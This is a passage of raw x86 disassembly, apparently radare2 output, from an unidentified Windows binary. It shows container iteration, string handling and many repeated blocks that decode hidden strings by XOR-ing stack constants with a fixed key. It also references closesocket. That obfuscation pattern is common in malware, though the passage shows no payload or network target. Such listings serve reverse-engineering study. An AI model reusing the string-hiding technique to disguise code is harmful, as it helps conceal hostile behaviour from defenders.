push dword [eax + 4]
lea eax, [ebp - 0x60]
push eax
mov ecx, eax
call fcn.0041d1d0
push 0x38
push dword [ebp - 0x60]
call fcn.004338e3
add esp, 8
jmp 0x48753b
mov edi, dword [ebp - 0x18]
cmp byte [ebp - 0x29], 0
je 0x488124
cmp byte [ebp - 0x1c], 0
jne 0x488124
movzx eax, byte [ebx + 0x70]
sub eax, 0
je 0x488124
sub eax, 1
je 0x487573
sub eax, 1
jne 0x487581
mov eax, dword [ebx + 0x78]
mov ecx, dword [eax + 4]
sub ecx, dword [eax]
sar ecx, 4
jmp 0x487579
mov eax, dword [ebx + 0x78]
mov ecx, dword [eax + 4]
test ecx, ecx
je 0x488124
mov byte [ebp - 4], 0x68
lea ecx, [ebp - 0x58]
call fcn.0041e450
or edi, 0x10000
mov dword [ebp - 0x18], edi
cmp byte [ebx + 0x70], 1
jne 0x48ca33
lea ecx, [ebp - 0x7c]
call fcn.0041e450
mov byte [ebp - 4], 0x6b
xor eax, eax
mov ecx, dword [ebp - 0x7c]
lea edx, [ebp - 0x7c]
cmp byte [ebx + 0x70], 1
mov byte [ebp - 0x28c], 0
cmove eax, dword [ebx + 0x78]
push dword [ecx]
lea ecx, [ebp - 0x1ef8]
push edx
mov eax, dword [eax]
push dword [ebp - 0x28c]
push eax
push dword [eax]
call fcn.0042e7d0
mov esi, dword [ebp - 0x58]
lea eax, [ebp - 0x58]
add esp, 0x14
mov ecx, eax
push dword [esi + 4]
push eax
call fcn.0041d1d0
mov dword [esi + 4], esi
mov dword [esi], esi
mov dword [esi + 8], esi
mov eax, dword [ebp - 0x7c]
mov ecx, dword [ebp - 0x58]
mov dword [ebp - 0x58], eax
mov eax, dword [ebp - 0x78]
mov dword [ebp - 0x54], 0
mov dword [ebp - 0x7c], ecx
mov dword [ebp - 0x54], eax
mov dword [ebp - 0x78], 0
mov byte [ebp - 4], 0x68
mov eax, dword [ebp - 0x7c]
push dword [eax + 4]
lea eax, [ebp - 0x7c]
push eax
mov ecx, eax
call fcn.0041d1d0
push 0x38
push dword [ebp - 0x7c]
call fcn.004338e3
mov eax, dword [ebp - 0x58]
add esp, 8
mov byte [ebp - 0xce], 0
mov eax, dword [eax]
mov dword [ebp - 0x1a0], eax
cmp byte [eax + 0xd], 0
jne 0x4880f3
nop word [eax + eax]
mov edx, dword [ebp - 0x1c]
test dl, dl
jne 0x4880f3
mov cl, byte [eax + 0x28]
lea esi, [eax + 0x28]
test cl, cl
je 0x4880d8
movzx ecx, cl
sub ecx, 0
je 0x4880d8
sub ecx, 1
je 0x48769c
sub ecx, 1
jne 0x4876aa
mov eax, dword [eax + 0x30]
mov ecx, dword [eax + 4]
sub ecx, dword [eax]
sar ecx, 4
jmp 0x4876a2
mov eax, dword [eax + 0x30]
mov ecx, dword [eax + 4]
test ecx, ecx
je 0x4880d8
push esi
lea ecx, [ebp - 0x98]
call fcn.00417ab0
mov ecx, dword [ebp - 0x98]
movzx eax, byte [ecx]
sub eax, 0
je 0x4876f6
sub eax, 1
je 0x4876e7
sub eax, 1
je 0x4876da
mov dword [ebp - 0x8c], 0
jmp 0x487700
mov eax, dword [ecx + 8]
mov eax, dword [eax]
mov dword [ebp - 0x90], eax
jmp 0x487700
mov eax, dword [ecx + 8]
mov eax, dword [eax]
mov eax, dword [eax]
mov dword [ebp - 0x94], eax
jmp 0x487700
mov dword [ebp - 0x8c], 1
push esi
lea ecx, [ebp - 0x130]
call fcn.00417ab0
mov eax, dword [ebp - 0x130]
movzx ecx, byte [eax]
sub ecx, 1
je 0x487739
sub ecx, 1
je 0x48772b
mov dword [ebp - 0x124], 1
jmp 0x48774a
mov eax, dword [eax + 8]
mov eax, dword [eax + 4]
mov dword [ebp - 0x128], eax
jmp 0x487744
mov eax, dword [eax + 8]
mov eax, dword [eax]
mov dword [ebp - 0x12c], eax
mov eax, dword [ebp - 0x130]
mov esi, dword [ebp - 0x98]
cmp esi, eax
jne 0x48c9fa
movzx ecx, byte [esi]
mov eax, ecx
sub eax, 1
je 0x487783
sub eax, 1
je 0x487775
mov eax, dword [ebp - 0x8c]
cmp eax, dword [ebp - 0x124]
jmp 0x48778f
mov eax, dword [ebp - 0x90]
cmp eax, dword [ebp - 0x128]
jmp 0x48778f
mov eax, dword [ebp - 0x94]
cmp eax, dword [ebp - 0x12c]
setne al
test al, al
je 0x4880d8
sub ecx, 0
je 0x48c9c1
sub ecx, 1
je 0x4877c4
sub ecx, 1
je 0x4877bc
cmp dword [ebp - 0x8c], 0
jne 0x48c328
jmp 0x4877cd
mov esi, dword [ebp - 0x90]
jmp 0x4877cd
mov esi, dword [ebp - 0x94]
add esi, 0x28
test dl, dl
jne 0x4880d8
mov byte [ebp - 4], 0x70
lea ecx, [ebp - 0x50]
call fcn.0041e450
or edi, 0x4000
mov dword [ebp - 0x18], edi
cmp byte [esi], 1
jne 0x48c96d
lea ecx, [ebp - 0x84]
call fcn.0041e450
mov byte [ebp - 4], 0x73
cmp byte [esi], 1
jne 0x48780c
mov eax, dword [esi + 8]
jmp 0x48780e
xor eax, eax
mov ecx, dword [ebp - 0x84]
lea edx, [ebp - 0x84]
mov eax, dword [eax]
mov byte [ebp - 0x290], 0
push dword [ecx]
lea ecx, [ebp - 0x1f00]
push edx
push dword [ebp - 0x290]
push eax
push dword [eax]
call fcn.0042e7d0
mov esi, dword [ebp - 0x50]
lea eax, [ebp - 0x50]
add esp, 0x14
mov ecx, eax
push dword [esi + 4]
push eax
call fcn.0041d1d0
mov dword [esi + 4], esi
mov dword [esi], esi
mov dword [esi + 8], esi
mov eax, dword [ebp - 0x84]
mov ecx, dword [ebp - 0x50]
mov dword [ebp - 0x50], eax
mov eax, dword [ebp - 0x80]
mov dword [ebp - 0x4c], 0
mov dword [ebp - 0x84], ecx
mov dword [ebp - 0x4c], eax
mov dword [ebp - 0x80], 0
mov byte [ebp - 4], 0x70
mov eax, dword [ebp - 0x84]
push dword [eax + 4]
lea eax, [ebp - 0x84]
push eax
mov ecx, eax
call fcn.0041d1d0
push 0x38
push dword [ebp - 0x84]
call fcn.004338e3
mov eax, dword [ebp - 0x50]
add esp, 8
mov byte [ebp - 0xcf], 0
mov eax, dword [eax]
mov dword [ebp - 0x198], eax
cmp byte [eax + 0xd], 0
jne 0x488049
mov edx, dword [ebp - 0x1c]
test dl, dl
jne 0x488046
lea esi, [eax + 0x28]
movzx eax, byte [esi]
sub eax, 0
je 0x48802b
sub eax, 1
je 0x4878f4
sub eax, 1
jne 0x487902
mov eax, dword [esi + 8]
mov ecx, dword [eax + 4]
sub ecx, dword [eax]
sar ecx, 4
jmp 0x4878fa
mov eax, dword [esi + 8]
mov ecx, dword [eax + 4]
test ecx, ecx
je 0x48802b
push esi
lea ecx, [ebp - 0xa8]
call fcn.00417ab0
mov ecx, dword [ebp - 0xa8]
movzx eax, byte [ecx]
sub eax, 0
je 0x48794e
sub eax, 1
je 0x48793f
sub eax, 1
je 0x487932
mov dword [ebp - 0x9c], 0
jmp 0x487958
mov eax, dword [ecx + 8]
mov eax, dword [eax]
mov dword [ebp - 0xa0], eax
jmp 0x487958
mov eax, dword [ecx + 8]
mov eax, dword [eax]
mov eax, dword [eax]
mov dword [ebp - 0xa4], eax
jmp 0x487958
mov dword [ebp - 0x9c], 1
push esi
lea ecx, [ebp - 0x230]
call fcn.00417ab0
mov ecx, dword [ebp - 0x230]
movzx eax, byte [ecx]
sub eax, 1
je 0x487991
sub eax, 1
je 0x487983
mov dword [ebp - 0x224], 1
jmp 0x48799c
mov eax, dword [ecx + 8]
mov eax, dword [eax + 4]
mov dword [ebp - 0x228], eax
jmp 0x48799c
mov eax, dword [ecx + 8]
mov eax, dword [eax]
mov dword [ebp - 0x22c], eax
mov esi, dword [ebp - 0xa8]
cmp esi, ecx
jne 0x48c934
movzx ecx, byte [esi]
mov eax, ecx
sub eax, 1
je 0x4879d5
sub eax, 1
je 0x4879c7
mov eax, dword [ebp - 0x9c]
cmp eax, dword [ebp - 0x224]
jmp 0x4879e1
mov eax, dword [ebp - 0xa0]
cmp eax, dword [ebp - 0x228]
jmp 0x4879e1
mov eax, dword [ebp - 0xa4]
cmp eax, dword [ebp - 0x22c]
setne al
test al, al
je 0x48802b
sub ecx, 0
je 0x48c8fb
sub ecx, 1
je 0x487a16
sub ecx, 1
je 0x487a0e
cmp dword [ebp - 0x9c], 0
jne 0x48c361
jmp 0x487a1f
mov esi, dword [ebp - 0xa0]
jmp 0x487a1f
mov esi, dword [ebp - 0xa4]
add esi, 0x28
test dl, dl
jne 0x48802b
xorps xmm0, xmm0
mov dword [ebp - 0x348], 0
movups xmmword [ebp - 0x358], xmm0
mov dword [ebp - 0x344], 0
mov dword [ebp - 0x348], 0
mov dword [ebp - 0x344], 0xf
mov byte [ebp - 0x358], dl
mov byte [ebp - 4], 0x78
mov dword [ebp - 0x7c0], 0xa9eca6d8
mov dword [ebp - 0x7bc], 0xf3c01ed1
mov eax, dword [ebp - 0x7c0]
mov ecx, dword [ebp - 0x7bc]
mov dword [ebp - 0x330], eax
mov dword [ebp - 0x32c], ecx
mov dword [ebp - 0x7c8], 0x61453c76
mov dword [ebp - 0x7c4], 0xa0df89f8
mov eax, dword [ebp - 0x7c8]
mov ecx, dword [ebp - 0x7c4]
mov dword [ebp - 0x328], eax
mov dword [ebp - 0x324], ecx
mov dword [ebp - 0x7d0], 0xa980d4ad
mov dword [ebp - 0x7cc], 0xf3c01ed1
mov eax, dword [ebp - 0x7d0]
mov ecx, dword [ebp - 0x7cc]
mov dword [ebp - 0x7d8], 0x61453c76
mov dword [ebp - 0x1bf0], eax
mov dword [ebp - 0x7d4], 0xa0df89f8
mov eax, dword [ebp - 0x7d8]
mov dword [ebp - 0x1bec], ecx
mov ecx, dword [ebp - 0x7d4]
movaps xmm1, xmmword [ebp - 0x330]
mov dword [ebp - 0x1be8], eax
mov dword [ebp - 0x1be4], ecx
xorps xmm1, xmmword [ebp - 0x1bf0]
movaps xmmword [ebp - 0x330], xmm1
cmp byte [esi], dl
jne 0x487b4e
push 1
lea ecx, [ebp - 0x1560]
mov byte [esi], 1
call fcn.00417ef0
mov eax, dword [ebp - 0x1560]
mov ecx, dword [ebp - 0x155c]
mov dword [esi + 8], eax
mov dword [esi + 0xc], ecx
cmp byte [esi], 1
jne 0x48c8a7
mov edi, dword [esi + 8]
lea ecx, [ebp - 0x330]
xorps xmm0, xmm0
mov dword [ebp - 0x13ac], 0
movups xmmword [ebp - 0x13bc], xmm0
mov dword [ebp - 0x13a8], 0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x487b81
sub ecx, edx
lea eax, [ebp - 0x330]
push ecx
push eax
lea ecx, [ebp - 0x13bc]
call fcn.00403040
mov byte [ebp - 4], 0x79
lea eax, [ebp - 0x13bc]
push eax
lea eax, [ebp - 0x1f08]
mov ecx, edi
push eax
call fcn.00426db0
mov edi, dword [eax]
mov byte [ebp - 4], 0x78
mov ecx, dword [ebp - 0x13a8]
cmp ecx, 0xf
jbe 0x487bf6
mov edx, dword [ebp - 0x13bc]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x487bec
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x48c724
push ecx
push edx
call fcn.004338e3
add esp, 8
mov dword [ebp - 0x13ac], 0
mov dword [ebp - 0x13a8], 0xf
mov byte [ebp - 0x13bc], 0
cmp byte [edi + 0x28], 0
je 0x487ddd
mov dword [ebp - 0x7e0], 0xa9eca6d8
mov dword [ebp - 0x7dc], 0xf3c01ed1
mov eax, dword [ebp - 0x7e0]
mov ecx, dword [ebp - 0x7dc]
mov dword [ebp - 0x340], eax
mov dword [ebp - 0x33c], ecx
mov dword [ebp - 0x7e8], 0x61453c76
mov dword [ebp - 0x7e4], 0xa0df89f8
mov eax, dword [ebp - 0x7e8]
mov ecx, dword [ebp - 0x7e4]
mov dword [ebp - 0x338], eax
mov dword [ebp - 0x334], ecx
mov dword [ebp - 0x7f0], 0xa980d4ad
mov dword [ebp - 0x7ec], 0xf3c01ed1
mov eax, dword [ebp - 0x7f0]
mov ecx, dword [ebp - 0x7ec]
mov dword [ebp - 0x7f8], 0x61453c76
mov dword [ebp - 0x1c00], eax
mov dword [ebp - 0x7f4], 0xa0df89f8
mov eax, dword [ebp - 0x7f8]
mov dword [ebp - 0x1bfc], ecx
mov ecx, dword [ebp - 0x7f4]
movaps xmm1, xmmword [ebp - 0x340]
mov dword [ebp - 0x1bf8], eax
mov dword [ebp - 0x1bf4], ecx
xorps xmm1, xmmword [ebp - 0x1c00]
movaps xmmword [ebp - 0x340], xmm1
cmp byte [esi], 0
jne 0x487d07
push 1
lea ecx, [ebp - 0x1568]
mov byte [esi], 1
call fcn.00417ef0
mov eax, dword [ebp - 0x1568]
mov ecx, dword [ebp - 0x1564]
mov dword [esi + 8], eax
mov dword [esi + 0xc], ecx
cmp byte [esi], 1
jne 0x48c84e
mov esi, dword [esi + 8]
lea ecx, [ebp - 0x340]
xorps xmm0, xmm0
mov dword [ebp - 0xec0], 0
movups xmmword [ebp - 0xed0], xmm0
mov dword [ebp - 0xebc], 0
lea edx, [ecx + 1]
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x487d40
sub ecx, edx
lea eax, [ebp - 0x340]
push ecx
push eax
lea ecx, [ebp - 0xed0]
call fcn.00403040
mov byte [ebp - 4], 0x7c
lea eax, [ebp - 0xed0]
push eax
lea eax, [ebp - 0x1f10]
mov ecx, esi
push eax
call fcn.00426db0
mov esi, dword [eax]
mov byte [ebp - 4], 0x78
mov eax, dword [ebp - 0xebc]
cmp eax, 0xf
jbe 0x487d9c
push eax
push dword [ebp - 0xed0]
lea eax, [ebp - 0xed0]
push eax
call fcn.00402fe0
add esp, 0xc
lea eax, [ebp - 0x1570]
mov dword [ebp - 0xec0], 0
push eax
lea ecx, [esi + 0x28]
mov dword [ebp - 0xebc], 0xf
mov byte [ebp - 0xed0], 0
call fcn.004219a0
push dword [ebp - 0x156c]
lea ecx, [ebp - 0x358]
push dword [ebp - 0x1570]
call fcn.00416130
sub esp, 0x18
lea eax, [ebp - 0x358]
mov esi, esp
mov dword [ebp - 0x1d5c], esp
xorps xmm0, xmm0
movups xmmword [esi], xmm0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
cmp dword [ebp - 0x344], 0xf
mov edi, dword [ebp - 0x348]
cmova eax, dword [ebp - 0x358]
mov dword [ebp - 0x28], eax
cmp edi, 0x7fffffff
ja 0x48c8a2
cmp edi, 0xf
ja 0x487e3c
mov dword [esi + 0x10], edi
mov dword [esi + 0x14], 0xf
movups xmm0, xmmword [eax]
movups xmmword [esi], xmm0
jmp 0x487e8b
mov eax, edi
or eax, 0xf
cmp eax, 0x7fffffff
jbe 0x487e4f
mov eax, closesocket
jmp 0x487e5a
cmp eax, 0x16
mov ecx, 0x16
cmovb eax, ecx
mov dword [ebp - 0x190], eax
lea eax, [ebp - 0x190]
push eax
push esi
call fcn.004032d0
mov ecx, dword [ebp - 0x190]
mov dword [esi], eax
mov dword [esi + 0x10], edi
mov dword [esi + 0x14], ecx
lea ecx, [edi + 1]
push ecx
push dword [ebp - 0x28]
push eax
call fcn.00435260
add esp, 0x14
mov byte [ebp - 4], 0x7f
sub esp, 0xc
mov esi, esp
mov byte [ebp - 0x29], 0
mov dword [ebp - 0x1d58], esp
mov dword [esi], 0
mov dword [esi + 4], 0
mov dword [esi + 8], 0
mov eax, dword [ebp - 0x68]
sub eax, dword [ebp - 0x6c]
sar eax, 3
imul eax, eax, 0xaaaaaaab
test eax, eax
je 0x487f92
cmp eax, 0xaaaaaaa
ja 0x48c72e
lea edi, [eax + eax*2]
shl edi, 3
cmp edi, 0x1000
jb 0x487f0b
lea eax, [edi + 0x23]
cmp eax, edi
jbe 0x48c729
push eax
call fcn.00433662
mov ecx, eax
add esp, 4
test ecx, ecx
je 0x48c724
lea eax, [ecx + 0x23]
and eax, 0xffffffe0
mov dword [eax - 4], ecx
jmp 0x487f1c
test edi, edi
je 0x487f1a
push edi
call fcn.00433662
add esp, 4
jmp 0x487f1c
xor eax, eax
mov dword [esi], eax
mov dword [esi + 4], eax
add eax, edi
mov dword [esi + 8], eax
mov dword [ebp - 0x294], esi
mov byte [ebp - 4], 0x80
mov edi, dword [esi]
mov eax, dword [ebp - 0x6c]
mov ecx, dword [ebp - 0x68]
mov dword [ebp - 0x1358], edi
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x135c], edi
mov dword [ebp - 0x1354], esi
mov byte [ebp - 4], 0x81
cmp eax, ecx
je 0x487f77
push eax
mov ecx, edi
call fcn.004163b0
mov eax, dword [ebp - 0x24]
add edi, 0x18
add eax, 0x18
mov dword [ebp - 0x1358], edi
mov dword [ebp - 0x24], eax
cmp eax, dword [ebp - 0x28]
jne 0x487f58
mov dword [ebp - 0x135c], edi
mov byte [ebp - 4], 0x80
mov dword [esi + 4], edi
mov dword [ebp - 0x294], 0
mov byte [ebp - 4], 0x7f
mov byte [ebp - 4], 0x82
mov byte [ebp - 4], 0x78
mov cl, byte [ebp - 0x29]
call fcn.004d4280
mov ecx, dword [ebp - 0x1c]
add esp, 0x24
test al, al
movzx ecx, cl
mov eax, 1
cmovne ecx, eax
mov byte [ebp - 0x1c], cl
mov byte [ebp - 4], 0x70
lea ecx, [ebp - 0x358]
call fcn.00402df0
mov esi, dword [ebp - 0xa8]
movzx eax, byte [esi]
sub eax, 1
je 0x487ffa
mov ecx, dword [ebp - 0x230]
mov edx, dword [ebp - 0x1c]
sub eax, 1
je 0x487fee
inc dword [ebp - 0x9c]
jmp 0x4879a2
add dword [ebp - 0xa0], 0x10
jmp 0x4879a2
mov eax, dword [ebp - 0xa4]
lea ecx, [ebp - 0x194]
mov dword [ebp - 0x194], eax
call fcn.00417990
mov eax, dword [ebp - 0x194]
mov ecx, dword [ebp - 0x230]
mov edx, dword [ebp - 0x1c]
mov dword [ebp - 0xa4], eax
jmp 0x4879a2
lea ecx, [ebp - 0x198]
call fcn.00417990
mov eax, dword [ebp - 0x198]
cmp byte [eax + 0xd], 0
je 0x4878c3
mov edi, dword [ebp - 0x18]
and edi, 0xffffbfff
mov dword [ebp - 0x18], edi
mov byte [ebp - 4], 0x68
mov eax, dword [ebp - 0x50]
push dword [eax + 4]
lea eax, [ebp - 0x50]
push eax
mov ecx, eax
call fcn.0041d1d0
push 0x38
push dword [ebp - 0x50]
call fcn.004338e3
mov esi, dword [ebp - 0x98]
add esp, 8
movzx eax, byte [esi]
sub eax, 1
je 0x4880a7
mov edx, dword [ebp - 0x1c]
sub eax, 1
mov eax, dword [ebp - 0x130]
je 0x48809b
inc dword [ebp - 0x8c]
jmp 0x487750
add dword [ebp - 0x90], 0x10
jmp 0x487750
mov eax, dword [ebp - 0x94]
lea ecx, [ebp - 0x19c]
mov dword [ebp - 0x19c], eax
call fcn.00417990
mov eax, dword [ebp - 0x19c]
mov edx, dword [ebp - 0x1c]
mov dword [ebp - 0x94], eax
mov eax, dword [ebp - 0x130]
jmp 0x487750
lea ecx, [ebp - 0x1a0]
call fcn.00417990
mov eax, dword [ebp - 0x1a0]
cmp byte [eax + 0xd], 0
je 0x487660
and edi, 0xfffeffff
mov dword [ebp - 0x18], edi
mov byte [ebp - 4], 0x23
mov eax, dword [ebp - 0x58]
push dword [eax + 4]
lea eax, [ebp - 0x58]
push eax
mov ecx, eax
call fcn.0041d1d0
push 0x38
push dword [ebp - 0x58]
call fcn.004338e3
add esp, 8
jmp 0x488124
mov byte [ebp - 0x1c], 1
mov byte [ebp - 4], 0x22
lea ecx, [ebp - 0x1e28]
call fcn.00402df0
mov byte [ebp - 4], 0x1f
lea ecx, [ebp - 0x6c]
call fcn.004185d0
mov byte [ebp - 4], 0x1d
lea ecx, [ebp - 0x1e40]
call fcn.00402df0
mov byte [ebp - 4], 0x1a
lea ecx, [ebp - 0x268]
push dword [ebp - 0x270]
call fcn.00417af0
mov edx, dword [ebp - 0x2f8]
mov eax, edx
mov ecx, dword [ebp - 0x2fc]
sub eax, ecx
mov esi, dword [ebp - 0x1a4]
sar eax, 3
inc esi
imul eax, eax, 0xaaaaaaab
mov dword [ebp - 0x1a4], esi
cmp esi, eax
jb 0x484d30
sub edx, ecx
je 0x48819f
cmp byte [ebp - 0x1c], 0
je 0x48c0c2
mov dword [ebp - 0x800], 0xccf8b183
mov dword [ebp - 0x7fc], 0xf3c01ed1
mov eax, dword [ebp - 0x800]
mov ecx, dword [ebp - 0x7fc]
mov dword [ebp - 0x1190], eax
mov dword [ebp - 0x118c], ecx
mov dword [ebp - 0x808], 0x61453c76
mov dword [ebp - 0x804], 0xa0df89f8
mov eax, dword [ebp - 0x808]
mov ecx, dword [ebp - 0x804]
mov dword [ebp - 0x1188], eax
mov dword [ebp - 0x1184], ecx
mov dword [ebp - 0x810], 0xa980d4ad
mov dword [ebp - 0x80c], 0xf3c01ed1
mov eax, dword [ebp - 0x810]
mov ecx, dword [ebp - 0x80c]
mov dword [ebp - 0x15f0], eax
mov dword [ebp - 0x818], 0x61453c76
mov dword [ebp - 0x15ec], ecx
mov dword [ebp - 0x814], 0xa0df89f8
mov eax, dword [ebp - 0x818]
mov ecx, dword [ebp - 0x814]
movaps xmm1, xmmword [ebp - 0x1190]
mov dword [ebp - 0x15e8], eax
lea eax, [ebp - 0x1190]
mov dword [ebp - 0x15e4], ecx
lea ecx, [ebp - 0x1f0]
xorps xmm1, xmmword [ebp - 0x15f0]
push eax
movaps xmmword [ebp - 0x1190], xmm1
call fcn.00402cf0
mov byte [ebp - 4], 0x85
sub esp, 0x18
mov dword [ebp - 0x820], 0xa980d483
mov dword [ebp - 0x81c], 0xf3c01ed1
mov eax, dword [ebp - 0x820]
mov ecx, dword [ebp - 0x81c]
mov dword [ebp - 0x11a0], eax
mov dword [ebp - 0x119c], ecx
mov dword [ebp - 0x828], 0x61453c76
mov dword [ebp - 0x824], 0xa0df89f8
mov eax, dword [ebp - 0x828]
mov ecx, dword [ebp - 0x824]
mov dword [ebp - 0x1198], eax
mov dword [ebp - 0x1194], ecx
mov dword [ebp - 0x830], 0xa980d4ad
mov dword [ebp - 0x82c], 0xf3c01ed1
mov eax, dword [ebp - 0x830]
mov ecx, dword [ebp - 0x82c]
mov dword [ebp - 0x1600], eax
mov dword [ebp - 0x838], 0x61453c76
mov dword [ebp - 0x15fc], ecx
mov dword [ebp - 0x834], 0xa0df89f8
mov eax, dword [ebp - 0x838]
mov ecx, dword [ebp - 0x834]
movaps xmm1, xmmword [ebp - 0x11a0]
mov dword [ebp - 0x15f8], eax
lea eax, [ebp - 0x11a0]
mov dword [ebp - 0x15f4], ecx
mov ecx, esp
xorps xmm1, xmmword [ebp - 0x1600]
mov dword [ebp - 0x1d54], esp
push eax
movaps xmmword [ebp - 0x11a0], xmm1
call fcn.00402cf0
mov byte [ebp - 4], 0x86
sub esp, 0x18
lea eax, [ebp - 0x1d24]
mov dword [ebp - 0x1d50], esp
mov ecx, esp
push eax
call fcn.004163b0
mov byte [ebp - 4], 0x87
mov byte [ebp - 4], 0x85
lea ecx, [ebp - 0x1368]
call fcn.004e3880
add esp, 0x30
mov byte [ebp - 4], 0x88
lea ecx, [ebp - 0x1368]
call fcn.00415220
test eax, eax
je 0x489201
call fcn.00415220
dec eax
push eax
call fcn.00415200
push eax
lea ecx, [ebp - 0x1f0]
call fcn.00416290
mov dword [ebp - 0x840], 0xa9e5acc8
mov dword [ebp - 0x83c], 0xf3c01ed1
mov eax, dword [ebp - 0x840]
mov ecx, dword [ebp - 0x83c]
mov dword [ebp - 0x11b0], eax
mov dword [ebp - 0x11ac], ecx
mov dword [ebp - 0x848], 0x61453c76
mov dword [ebp - 0x844], 0xa0df89f8
mov eax, dword [ebp - 0x848]
mov ecx, dword [ebp - 0x844]
mov dword [ebp - 0x11a8], eax
mov dword [ebp - 0x11a4], ecx
mov dword [ebp - 0x850], 0xa980d4ad
mov dword [ebp - 0x84c], 0xf3c01ed1
mov eax, dword [ebp - 0x850]
mov ecx, dword [ebp - 0x84c]
mov dword [ebp - 0x1610], eax
mov dword [ebp - 0x858], 0x61453c76
mov dword [ebp - 0x160c], ecx
mov dword [ebp - 0x854], 0xa0df89f8
mov eax, dword [ebp - 0x858]
mov ecx, dword [ebp - 0x854]
movaps xmm1, xmmword [ebp - 0x11b0]
mov dword [ebp - 0x1608], eax
lea eax, [ebp - 0x11b0]
mov dword [ebp - 0x1604], ecx
lea ecx, [ebp - 0x2328]
xorps xmm1, xmmword [ebp - 0x1610]
push eax
movaps xmmword [ebp - 0x11b0], xmm1
call fcn.00402cf0
mov byte [ebp - 4], 0x89
mov edx, eax
mov ecx, dword [ebp - 0x18]
or ecx, 1
mov dword [ebp - 0x18], ecx
lea ecx, [ebp - 0x1f0]
call fcn.0041b780
test al, al
je 0x488f92
mov dword [ebp - 0x860], 0xa9e9a7c0
mov dword [ebp - 0x85c], 0xf3c01ed1
mov eax, dword [ebp - 0x860]
mov ecx, dword [ebp - 0x85c]
mov dword [ebp - 0x11c0], eax
mov dword [ebp - 0x11bc], ecx
mov dword [ebp - 0x868], 0x61453c76
mov dword [ebp - 0x864], 0xa0df89f8
mov eax, dword [ebp - 0x868]
mov ecx, dword [ebp - 0x864]
mov dword [ebp - 0x11b8], eax
mov dword [ebp - 0x11b4], ecx
mov dword [ebp - 0x870], 0xa980d4ad
mov dword [ebp - 0x86c], 0xf3c01ed1
mov eax, dword [ebp - 0x870]
mov ecx, dword [ebp - 0x86c]
mov dword [ebp - 0x1620], eax
mov dword [ebp - 0x878], 0x61453c76
mov dword [ebp - 0x161c], ecx
mov dword [ebp - 0x874], 0xa0df89f8
mov eax, dword [ebp - 0x878]
mov ecx, dword [ebp - 0x874]
movaps xmm1, xmmword [ebp - 0x11c0]
mov dword [ebp - 0x1618], eax
lea eax, [ebp - 0x11c0]
mov dword [ebp - 0x1614], ecx
lea ecx, [ebp - 0x2310]
xorps xmm1, xmmword [ebp - 0x1620]
push eax
movaps xmmword [ebp - 0x11c0], xmm1
call fcn.00402cf0
mov dword [ebp - 4], 0x8a
mov edx, eax
mov ecx, dword [ebp - 0x18]
or ecx, 2
mov dword [ebp - 0x18], ecx
lea ecx, [ebp - 0x1f0]
call fcn.0041b780
test al, al
je 0x488f92
mov dword [ebp - 0x880], 0xa9f2b7de
mov dword [ebp - 0x87c], 0xf3c01ed1
mov eax, dword [ebp - 0x880]
mov ecx, dword [ebp - 0x87c]
mov dword [ebp - 0x11d0], eax
mov dword [ebp - 0x11cc], ecx
mov dword [ebp - 0x888], 0x61453c76
mov dword [ebp - 0x884], 0xa0df89f8
mov eax, dword [ebp - 0x888]
mov ecx, dword [ebp - 0x884]
mov dword [ebp - 0x11c8], eax
mov dword [ebp - 0x11c4], ecx
mov dword [ebp - 0x890], 0xa980d4ad
mov dword [ebp - 0x88c], 0xf3c01ed1
mov eax, dword [ebp - 0x890]
mov ecx, dword [ebp - 0x88c]
mov dword [ebp - 0x1630], eax
mov dword [ebp - 0x898], 0x61453c76
mov dword [ebp - 0x162c], ecx
mov dword [ebp - 0x894], 0xa0df89f8
mov eax, dword [ebp - 0x898]
mov ecx, dword [ebp - 0x894]
movaps xmm1, xmmword [ebp - 0x11d0]
mov dword [ebp - 0x1628], eax
lea eax, [ebp - 0x11d0]
mov dword [ebp - 0x1624], ecx
lea ecx, [ebp - 0x22f8]
xorps xmm1, xmmword [ebp - 0x1630]
push eax
movaps xmmword [ebp - 0x11d0], xmm1
call fcn.00402cf0
mov dword [ebp - 4], 0x8b
mov edx, eax
mov ecx, dword [ebp - 0x18]
or ecx, 4
mov dword [ebp - 0x18], ecx
lea ecx, [ebp - 0x1f0]
call fcn.0041b780
test al, al
je 0x488f92
mov dword [ebp - 0x8a0], 0xa9f4acd9
mov dword [ebp - 0x89c], 0xf3c01ed1
mov eax, dword [ebp - 0x8a0]
mov ecx, dword [ebp - 0x89c]
mov dword [ebp - 0x11e0], eax
mov dword [ebp - 0x11dc], ecx
mov dword [ebp - 0x8a8], 0x61453c76
mov dword [ebp - 0x8a4], 0xa0df89f8
mov eax, dword [ebp - 0x8a8]
mov ecx, dword [ebp - 0x8a4]
mov dword [ebp - 0x11d8], eax
mov dword [ebp - 0x11d4], ecx
mov dword [ebp - 0x8b0], 0xa980d4ad
mov dword [ebp - 0x8ac], 0xf3c01ed1
mov eax, dword [ebp - 0x8b0]
mov ecx, dword [ebp - 0x8ac]
mov dword [ebp - 0x1640], eax
mov dword [ebp - 0x8b8], 0x61453c76
mov dword [ebp - 0x163c], ecx
mov dword [ebp - 0x8b4], 0xa0df89f8
mov eax, dword [ebp - 0x8b8]
mov ecx, dword [ebp - 0x8b4]
movaps xmm1, xmmword [ebp - 0x11e0]
mov dword [ebp - 0x1638], eax
lea eax, [ebp - 0x11e0]
mov dword [ebp - 0x1634], ecx
lea ecx, [ebp - 0x22e0]
xorps xmm1, xmmword [ebp - 0x1640]
push eax
movaps xmmword [ebp - 0x11e0], xmm1
call fcn.00402cf0
mov dword [ebp - 4], 0x8c
mov edx, eax
mov ecx, dword [ebp - 0x18]
or ecx, 8
mov dword [ebp - 0x18], ecx
lea ecx, [ebp - 0x1f0]
call fcn.0041b780
test al, al
je 0x488f92
mov dword [ebp - 0x8c0], 0xa9e3bbc9
mov dword [ebp - 0x8bc], 0xf3c01ed1
mov eax, dword [ebp - 0x8c0]
mov ecx, dword [ebp - 0x8bc]
mov dword [ebp - 0x11f0], eax
mov dword [ebp - 0x11ec], ecx
mov dword [ebp - 0x8c8], 0x61453c76
mov dword [ebp - 0x8c4], 0xa0df89f8
